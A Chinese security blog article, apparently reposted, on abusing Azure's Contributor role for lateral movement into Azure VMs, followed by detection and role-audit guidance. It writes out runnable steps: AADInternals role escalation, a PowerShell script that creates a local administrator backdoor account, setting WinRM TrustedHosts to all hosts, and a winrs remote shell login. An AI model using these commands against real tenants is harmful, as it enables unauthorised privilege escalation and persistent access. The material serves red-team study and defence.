[网络安全] 滥用Azure内置Contributor角色横向移动至Azure VM

news2025/3/25 22:52:21

本文来源于团队的超辉老师,其系统分析了Azure RBAC角色模型及其在权限滥用场景下的攻击路径。通过利用AADInternals工具提升用户至Contributor角色,攻击者可在Azure VM中远程执行命令,创建后门账户,实现横向移动。文中详述了攻击步骤及防御检测方法,具备较强实用性与警示意义。

文章目录

  • 一.原理分析
  • 二.利用条件
  • 三.利用步骤
  • 四.检测及防御
    • 1.日志审核
    • 2.角色审核
  • 四.总结

作者简介:
党超辉,全球阿里云、微软云、华为云、深信服等多家头部大厂 MVP 最有价值专家,CSDN 博客专家、腾讯云架构师技术同盟成员,云安全联盟(CSA)大中华区专家,中国计算机学会(CCF)专业会员,网络安全专业书《ATT&CK视角下的红蓝对抗实战指南》《AD 域攻防权威指南》作者、《Linux 权威指南:从小白到系统管理员 下册》《Linux权威指南:从小白到系统管理员 网络服务详解》译者,“娜璋 A| 安全之家”微信公众号联合运营人,曾先后起草编制并发布了多项广播电视行业安全标准,多次荣获了中国电影电视技术学会科学技术奖。目前专注于研究云原生安全、ATT&CK 攻防矩阵及威胁狩猎方向。

在这里插入图片描述


一.原理分析

Azure角色是Azure基于角色的访问控制(Azure Role-Based Access Control,Azure RBAC)框架的一部分。在Azure环境中,角色是用来定义一组权限集合的实体,这些权限决定了用户、组或服务主体可以对Azure资源执行的操作范围。通过Azure RBAC,管理员可以根据组织单位内的职责和需求,将预定义的角色(如所有者、参与者、读取者等)或自定义角色分配给不同的安全主体。这样可以实现对Azure资源的细粒度访问控制,确保每个用户仅拥有完成其工作所需的最小权限集。在通用的Azure内置角色中包含了一些适用于所有资源类型的“常规类别”角色,如表1-1所示,这些角色所拥有的授权范围及访问权限均不相同。

在这里插入图片描述

我们可以通过利用Get-AzRoleDefinition命令来查看这些“常规类别”角色的具体描述,包括角色定义及角色ID等。其中角色定义是所拥有权限的集合,列出了该角色可以执行的操作,如读取、写入、删除等。如图1-1所示,可在Actions部分查看到当前的角色对某个资源类型可执行的相关操作权限,Actions权限指定该角色允许执行的控制平面操作。它是用于标识Azure资源提供程序安全对象操作的字符串的集合。

在这里插入图片描述

常见的Actions部分操作子字符串如表1-2所示,通过执行“Get-AzRoleDefinition -Name “Contributor”命令可看出“Contributor(参与者)”拥有管理所有资源的完全访问权限。

在这里插入图片描述


二.利用条件

假设当攻击者通过密码喷洒、邮件钓鱼的方式获取了一个名为 abc@ad.xxx.cn 的Microsoft Entra ID(原Azure AD)普通用户权限,并利用 AADInternals将其权限提升为Azure资源组级别的Contributor(参与者)角色或持有 Microsoft.Compute/*权限(向Microsoft.Compute资源提供程序中的所有资源类型的所有操作授予访问权限)的任何自定义角色,即可横向移动到当前订阅的Azure资源组中的任意Azure VM中。


三.利用步骤

1)首先,执行如下命令使用 AADInternals工具通过Azure AD身份验证流程来获取Azure Core Management的访问令牌,并将所获取的访问令牌存储在变量$at中,如图1-2所示,在“Enter email,phone,or Skype”及“Password”处输入已经获取相关用户权限、名为 abc@ad.xxx.cn 的用户的账号密码信息。

$at=Get-AADIntAccessTokenForAzureCoreManagement

图1-2为获取 Azure Core Management访问令牌。

在这里插入图片描述

2)通过执行“Get-AzRoleAssignment”命令,查看当前Azure资源组级别的角色分配详细信息。

$at=Get-AADIntAccessTokenForAzureCoreManagement
Get-AzRoleAssignment -Scope
"/subscriptions/58bfa72c-72bf-4ee3-aecd-5berb09c7d2db8/resourceGroups/MyResourceGroup" 

可通过“-Scope”参数来指定要查询的角色分配范围,可以包括订阅、资源组、资源或其他特定范围的资源ID。在实际查询时需要将{subscriptionId}、{resourceGroupName} 和{vmName}替换为实际获取的订阅ID、资源组名称和资源名称,执行结果图1-3所示。在其反馈的输出结果中可以看到在当前Azure资源组级别角色中,只有一个名为“calc@ad.xx.xx”的用户拥有“User Access Administrator”角色权限。

图1-3为查看当前Azure资源组级别的角色分配详细信息。

在这里插入图片描述

3)随后通过AADInternals执行如下命令来将“abc@ad.xxx.cn”用户的角色权限提升为“Contributor(参与者)”角色,执行结果如图1-4所示。

Set-AADIntAzureRoleAssignment -AccessToken $at -SubscriptionId
58bfa72c-72bf-4ee3-aecd-5berb09c7d2db8 -RoleName "Contributor"
  • -AccessToken a t 参数:表示使用之前获取并存储在变量 at参数:表示使用之前获取并存储在变量 at参数:表示使用之前获取并存储在变量at中的访问令牌进行身份验证和授权操作。
  • -SubscriptionId参数:指定了要进行角色分配的Azure订阅ID。
  • -RoleName "Contributor"参数:表示授权分配该用户的角色身份为“Contributor(参与者)”角色。

图1-4为提升用户为“Contributor(参与者)”角色。

在这里插入图片描述

4)默认情况下,“Contributor(参与者)”角色的默认ID为“b24988ac-6180-42a0-ab88-20f7382dd24c”,如图1-5所示,可以看到当前abc@ad.xxx.cn用户的roleDefinitionId已和Contributor角色的默认ID一致。

Get-AzRoleDefinition -Name "Contributor"

在这里插入图片描述

5)再次执行“Get-AzRoleAssignment”命令来查询特定订阅ID下名为“MyResourceGroup”资源组的角色分配信息,同时筛选出在该资源组内被赋予了Contributor角色的所有角色分配记录,如图1-6所示,可以看出abc@ad.xxx.cn用户已被赋予了当前资源组的Contributor角色权限。

Get-AzRoleAssignment -Scope
"/subscriptions/58bfa72c-72bf-4ee3-aecd-5berb09c7d2db8/resourceGroups/MyResourceGroup
" | Where-Object {$_.RoleDefinitionName -eq "Contributor"} | Select-Object -Property
SignInName,DisplayName,RoleDefinitionId,RoleDefinitionName

图1-6为验证abc@ad.xxx.cn用户角色权限。
在这里插入图片描述

6)目前已经将abc@ad.xxx.cn用户提升至Contributor角色权限,这意味着我们可以横向移动到当前订阅的Azure资源组中的任意Azure VM中,接下来即可使用如下命令来枚举查询当前资源组中所存在的Azure VM信息,执行结果如图1-7所示。

Get-AzVM -Name app -ResourceGroupName demo

在这里插入图片描述

7)当获取资源组中所存在的Azure VM信息后,可执行如下命令来查看当前Azure VM公网IP信息。如图1-8所示,可看到Azure VM(虚拟机)的公网IP的所属位置、网络类型等信息。

Get-AzPublicIpAddress -Name demo-ip

在这里插入图片描述

8)Azure VM提供了一个“Run Command”(运行命令)的功能,如图1-9所示,可以使用虚拟机代理在Azure Windows VM上远程执行脚本。对于具有Azure资源组级别的Contributor角色或持有Microsoft.Compute/*权限的任何自定义角色的用户,便可以通过使用Powershell中的“Invoke-AzVMRunCommand cmdlet”命令在如表1-3所示的Azure VM Windows操作系统中,以NT Authority\System权限调用Run Command功能来运行 PowerShell脚本。

在这里插入图片描述

表1-3 支持执行Run Command功能的Azure VM Windows操作系统

操作系统X64
Windows 10支持
Windows 11支持
Windows Server 2008 SP2支持
Windows Server 2008 R2支持
Windows Server 2012支持
Windows Server 2012 R2支持
Windows Server 2016支持
Windows Server 2016 Core支持
Windows Server 2019支持
Windows Server 2019 Core支持
Windows Server 2022支持
Windows Server 2022 Core支持

9)由于目前已将abc@ad.xxx.cn用户身份角色提升为“Contributor”,可在本地编写一个名为“runcommand1.ps1”的powershell脚本,并在powershell脚本中添加如下内容,如图1-10所示,使其在Azure VM上创建了一个新的用户账户(用户名为“hacker”,密码为“Aa123456”),并将此用户加入到本地管理员组中,赋予其管理员权限。

$passwd = ConvertTo-SecureString "Aa123456" -AsPlainText -Force
\\将明文密码"Aa123456"转换为安全字符串格式
New-LocalUser -Name hacker -Password $passwd
\\创建一个名为"hacker"的本地用户账户,并将其密码设置为之前转换成SecureString的
"Aa123456"。新创建的用户是AzureVM上的本地用户
Add-LocalGroupMember -Group Administrators -Member hacker
\\将名为"hacker"的新创建的本地用户添加到本地管理员组中。

图1-10为“runcommand1.ps1”powershell脚本文件。

在这里插入图片描述

10)随后即可通过Contributor角色身份权限,执行如下命令来在Azure VM上以NT Authority\System权限来运行名为“runcommand1.ps1”的PowerShell脚本。其中-VMName参数表示Azure VM的名称,-ResourceGroupName参数表示当前VM所在的资源组,-CommandId参数表示将要在Azure中运行的存储类型的命令,RunPowerShellScript参数示要运行的命令类型为PowerShell脚本,-ScriptPath参数表示要运行的Powershell脚本文件的本地路径。如图1-11所示,可以看到已通过“Invoke-AzVMRunCommand”命令成功在Azure VM上添加了一个账号名为“hacker”、密码为“Aa123456”的用户。

Invoke-AzVMRunCommand -VMName APP -ResourceGroupName demo -CommandId
'RunPowerShellScript' -ScriptPath .\runcommand1.ps1

图1-11 通过Invoke-AzVMRunCommand成功在Azure VM执行PowerShell命令。

在这里插入图片描述

12)切换到本地cmd命令行中,使用如下WinRS命令来将所有主机的IP地址添加到客户端信任列表,执行结果如图1-12所示。(WinRS是Windows的远程Shell,相当于WinRM的客户端。使用WinRS可以访问运行有WinRM的服务器,与目标主机形成交互式会话)

winrm set winrm/config/Client @{TrustedHosts="*"}

图1-12将所有主机的IP地址添加到客户端信任列表。

在这里插入图片描述

13)使用命令“winrs -r:http://20.2.67.23:5985 -u:hacker -p:Aa123456 “cmd””即可获取当前Azure VM的交互式会话,如图1-13所示。

在这里插入图片描述


四.检测及防御

那么作为Microsoft Entra ID 云管理员,我们应该如何对此滥用攻击进行检测和防御呢?具体可通过如下两个方面来进行检测及防御。

1.日志审核

第一步,审核相关订阅的“活动日志”,检测是否有使用操作运行命令在Windows VM中运行脚本。具体的活动日志的内容如图1-14所示,我们可以通过审核活动日志看到在2024年3月16号23:36:11的时候,用户 abc@ad.xx.xx.cn 在Virtual Machine(虚拟机)中执行了相关命令。

在这里插入图片描述

与此同时,可针对这类敏感操作去创建“警报规则”。当某个活动日志触发了在警报规则中配置的“警报逻辑”,系统则会第一时间进行告警,并通知相关管理员,如图1-15所示。

在这里插入图片描述

第二步,使用“Invoke-AzVMRunCommand cmdlet”在Azure VM上运行PowerShell的脚本通常会以SYSTEM用户身份权限来执行,可在Windows事件查看器中过滤出事件ID为4688的系统安全事件日志,如图1-15、图1-16所示。

图1-15为过滤事件ID为4688的系统安全事件日志。

在这里插入图片描述

图1-16为查看事件ID为4688的系统安全事件日志。

在这里插入图片描述

第三步,所有使用虚拟机代理在Azure Windows VM中运行的PowerShell脚本日志文件都会存在 C:\WindowsAzure\Logs\Plugins\Microsoft.CPlat.Core.RunCommandWindows<version>目录中,如图1-17所示,可直接查看当前目录中的所有日志文件内容,如图1-18所示。

图1-17为虚拟机代理运行PowerShell脚本日志文件路径。

在这里插入图片描述

图1-18为虚拟机代理运行PowerShell脚本日志

在这里插入图片描述


2.角色审核

通过使用虚拟机代理在Azure Windows VM上执行“Invoke-AzVMRunCommand cmdlet”来运行PowerShell脚本执行命令,需要订阅级别的Microsoft.Compute/locations/runCommands/read权限及Microsoft.Compute/virtualMachines/runCommands/write权限。在一般情况下,Contributor及更高级别的角色会拥有此权限,如图1-19所示,我们可通过如下命令来检测目前哪些用户在当前的资源组中,拥有订阅级别的Contributor角色及更高级别角色的权限,其中需要替换为实际的订阅ID。

Get-AzRoleAssignment -Scope
"/subscriptions/58bfa72c-72bf-4ee3-aecd-5berb09c7d2db8/resourceGroups/MyResourceGroup
" | Where-Object {$_.RoleDefinitionName} | Select-Object -Property
RoleDefinitionName,SignInName,DisplayName,RoleDefinitionId

图1-19为检查拥有订阅级别Contributor角色及更高级别角色的权限的用户。

在这里插入图片描述


四.总结

本案例详细展示了攻击者如何通过提升Azure RBAC角色权限滥用Contributor角色,在无凭据的情况下远程控制Azure虚拟机,执行恶意脚本创建后门账户,实现持久化控制。为此,应加强活动日志审计、角色权限检查及异常操作告警机制,构建多层次主动防御体系,防范RBAC权限滥用带来的云安全风险。

(By: 团队超辉老师 2025-03-20 夜于贵州)

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/2321585.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

vue3,element-plus 表格单选、多选、反选、全选

准备 定义数据 // 表格 const table ref(); // 表格数据 import type { User } from "/interface"; const tableData ref<User[]>([]); // 表格选集 const tableSelection ref<User[]>([]); // 表格选择行 const tableSelectedRow ref<User>…

【Linux】从开发到系统管理深入理解环境变量

文章目录 前言一、环境变量概念1.1 为什么需要环境变量&#xff1f;1.2 环境变量的本质特征 二、环境变量PATH2.1 PATH的运作机制2.2 常见环境变量及其作用2.3 环境变量操作指南 三、再谈环境变量3.1main函数命令行参数解析3.2 环境变量的继承机制3.3 本地变量与内部构建命令 总…

【CGE】社会核算矩阵构建(一):SAM基本结构

【CGE】社会核算矩阵构建&#xff08;一&#xff09;&#xff1a;SAM基本结构 社会核算矩阵构建&#xff08;一&#xff09;&#xff1a;SAM基本结构一、SAM的概念和基本特点二、SAM的基本结构1.开放经济体的SAM表结构2.SAM表各账户的主要核算内容&#xff08;1&#xff09;社会…

Ubuntu 系统部署 Ollama + DeepSeek + Docker + Ragflow

&#x1f339;作者主页&#xff1a;青花锁 &#x1f339;简介&#xff1a;Java领域优质创作者&#x1f3c6;、Java微服务架构公号作者&#x1f604; &#x1f339;简历模板、学习资料、面试题库、技术互助 &#x1f339;文末获取联系方式 &#x1f4dd; Mysql数据库规范 一、Ol…

第三讲 | C/C++内存管理完全手册

C/C内存管理 一、 C/C内存分布二、 C语言中动态内存管理方式&#xff1a;malloc/calloc/realloc/free三、 C内存管理方式1. new/delete操作内置类型2. new和delete操作自定义类型 四、operator new和operator delete函数&#xff08;重点&#xff09;五、new和delete的实现原理…

2021年蓝桥杯第十二届CC++大学B组真题及代码

目录 1A&#xff1a;空间&#xff08;填空5分_单位转换&#xff09; 2B&#xff1a;卡片&#xff08;填空5分_模拟&#xff09; 3C&#xff1a;直线&#xff08;填空10分_数学排序&#xff09; 4D&#xff1a;货物摆放&#xff08;填空10分_质因数&#xff09; 5E&#xf…

秒杀业务优化之从分布式锁到基于消息队列的异步秒杀

一、业务场景介绍 优惠券、门票等限时抢购常常出现在各类应用中&#xff0c;这样的业务一般为了引流宣传而降低利润&#xff0c;所以一旦出现问题将造成较大损失&#xff0c;那么在业务中就要求我们对这类型商品严格限时、限量、每位用户限一次、准确无误的创建订单&#xff0c…

纯vue手写流程组件

前言 网上有很多的vue的流程组件&#xff0c;但是本人不喜欢很多冗余的代码&#xff0c;喜欢动手敲代码&#xff1b;刚开始写的时候&#xff0c;确实没法下笔&#xff0c;最后一层一层剥离&#xff0c;总算实现了&#xff1b;大家可以参考我写的代码&#xff0c;可以拿过去定制…

WPS宏开发手册——使用、工程、模块介绍

目录 系列文章前言1、开始1.1、宏编辑器使用步骤1.2、工程1.3、工程 系列文章 使用、工程、模块介绍 JSA语法 第三篇练习练习题&#xff0c;持续更新中… 前言 如果你是开发人员&#xff0c;那么wps宏开发对你来说手拿把切。反之还挺吃力&#xff0c;需要嘻嘻&#xf…

django入门教程之request和reponse【二】

接上节&#xff1a;入门【一】 再创建一个orders子应用&#xff0c;python manager.py startapp orders&#xff0c;orders目录中新建一个urls.py文件。结构如图&#xff1a; 通过上节课&#xff0c;我们知道在views.py文件中编写函数时&#xff0c;有一个默认入参request&…

RAG优化:python从零实现[吃一堑长一智]循环反馈Feedback

本文将介绍一种有反馈循环机制的RAG系统,让当AI学会"吃一堑长一智",给传统RAG装了个"后悔"系统,让AI能记住哪些回答被用户点赞/拍砖,从此告别金鱼记忆: 每次回答都像在玩roguelike:失败结局会强化下次冒险悄悄把优质问答变成新知识卡牌,实现"以…

【Linux】VMware17 安装 Ubuntu24.04 虚拟机

目录 安装教程 一、下载 Ubuntu 桌面版iso映像 二、安装 VMware 三、安装 Ubuntu 桌面版 VMware 创建虚拟机 挂载 Ubuntu ISO 安装 Ubuntu 系统 安装教程 一、下载 Ubuntu 桌面版iso映像 链接来自 清华大学开源软件镜像站 ISO文件地址&#xff1a;ubuntu-24.04.2-des…

WPS宏开发手册——JSA语法

目录 系列文章2、JSA语法2.1、打印输出2.2、注释2.3、变量2.4、数据类型2.5、函数2.6、运算符2.7、比较2.8、if else条件语句2.9、for循环2.10、Math对象&#xff08;数字常用方法&#xff09;2.11、字符串常用方法2.12、数组常用方法 系列文章 使用、工程、模块介绍 JSA语…

word中指定页面开始添加页码

第一步&#xff1a; 插入页码 第二步&#xff1a; 把光标放到指定起始页码处 第三步&#xff1a; 取消链接到前一节 此时关掉页脚先添加分节符 添加完分节符后恢复点击 第四步&#xff1a; 设置页码格式&#xff0c;从1开始 第五步&#xff1a; 删掉不要的页码&#xff0c…

Python实现deepseek接口的调用

简介&#xff1a;DeepSeek 是一个强大的大语言模型&#xff0c;提供 API 接口供开发者调用。在 Python 中&#xff0c;可以使用 requests 或 httpx 库向 DeepSeek API 发送请求&#xff0c;实现文本生成、代码补全&#xff0c;知识问答等功能。本文将介绍如何在 Python 中调用 …

文档处理控件Aspose.Words 教程:.NET版中增强的 AI 文档摘要功能

Aspose.Words是一个功能强大的 Word 文档处理库。它可以帮助开发人员自动编辑、转换和处理文档。 自 24.11 版以来&#xff0c;Aspose.Words for .NET 提供了 AI 驱动的文档摘要功能&#xff0c;使用户能够从冗长的文本中快速提取关键见解。在 25.2 版中&#xff0c;我们通过使…

19,C++——11

目录 一、 C11简介 二、 新增的列表初始化 三、 新增的STL容器 四、 简化声明 1&#xff0c;auto 2&#xff0c;decltype 3&#xff0c;nullptr 五、右值引用 1&#xff0c;左值引用和右值引用 2&#xff0c;两种引用的比较 3&#xff0c;左值引用的使用场景 4&…

风尚云网|前端|前后端分离架构深度剖析:技术革新还是过度设计?

前后端分离架构深度剖析&#xff1a;技术革新还是过度设计&#xff1f; 作者&#xff1a;风尚云网 在数字化转型浪潮中&#xff0c;前后端分离架构已成为现代Web开发的主流模式。但这项技术真的是银弹吗&#xff1f;本文将从工程实践角度&#xff0c;剖析其优势与潜在风险&am…

CMS网站模板设计与用户定制化实战评测

内容概要 在数字化转型背景下&#xff0c;CMS平台作为企业内容管理的核心载体&#xff0c;其模板架构的灵活性与用户定制能力直接影响运营效率。通过对WordPress、Baklib等主流系统的技术解构发现&#xff0c;模块化设计理念已成为行业基准——WordPress依托超过6万款主题库实…

搭建个人博客教程(Hexo)

如何快速搭建一套本地的博客系统呢&#xff1f;这里有一套gitNode.jsHexo的部署方案来进行解决。 安装git Git 是一款免费开源的分布式版本控制系统&#xff0c;由 Linus Torvalds 于 2005 年为 Linux 内核开发设计。它通过本地仓库和远程仓库实现代码管理&#xff0c;支持分支…